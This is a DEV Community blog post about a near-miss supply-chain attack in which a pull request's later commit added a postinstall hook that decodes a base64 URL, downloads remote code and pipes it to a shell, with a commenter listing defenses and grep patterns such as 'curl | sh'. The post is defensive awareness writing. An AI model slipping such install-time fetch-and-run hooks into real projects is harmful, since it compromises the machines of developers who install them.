DEV Community

Cover image for How we almost merged malware into an open-source project today.
Olya Pi
Olya Pi

Posted on

How we almost merged malware into an open-source project today.

A short story about how it sometimes goes. An ordinary workday, the usual rush. A pull request lands in a personal open-source project — a bug fix. I take a quick look:

The bug is hard to reproduce — the app hangs when a machine has two default routes and a VPN is up. A second person shows up in the issue and confirms it: yep, same trouble, exactly the same problem.

I open the author's profile — a serious title, SRE… but almost no GitHub activity. That felt off. What exactly pulled this respectable gentleman out of the shadows for such a small project?

I review it — looks okay, a few things I'd have formatted differently, but nothing suspicious. The second participant, who had sent a harmless PR before, writes again: checked the code, it all works, let's merge. For a while I go back and forth: nitpick a few lines of formatting, or just merge as is.

By the way, I have update notifications set up on GitHub (shameless plug: github.com/yumiaura/myCat). And right then I see a commit come in with:

    // package.json
    "postinstall": "node scripts/install-app-deps.js"

    // scripts/install-app-deps.js
    const url = Buffer.from(PAYLOAD_B64, "base64").toString()
    // runs silently on install
    https.get(url, res => res.pipe(exec("/bin/sh")))  
Enter fullscreen mode Exit fullscreen mode

It was hidden in a postinstall script — disguised as a VS Code update. On install it quietly pulled and ran code from a remote server.

I don't know what would've happened if we'd just run it in an IDE. I just wanted to give you a heads-up — this is how it sometimes goes.

How do you review incoming PRs on your open-source projects? 🐱

Top comments (2)

Collapse
 
pradeep_kumar_bc4e7e9f7ec profile image
Pradeep Kumar

Your step‑by‑step recount of the PR that almost introduced malware really drives home how a quick glance can miss critical red flags. Have you thought about cross‑posting this to ZyVOP (zyvop.com) to share the lesson with an even wider engineering audience?

Collapse
 
achilleswasonga profile image
Achilles Wasonga

The strongest defenses: set npm config set ignore-scripts true so hooks don't fire, grep every diff for lifecycle hooks and obfuscation tells (postinstall, Buffer.from(…, "base64"), child_process, curl | sh), scrutinize lockfile changes and newly-added dependencies, and since the attack banks on a clean first review followed by a sneaky later commit. Always re-review the full diff at merge time rather than trusting a stale approval.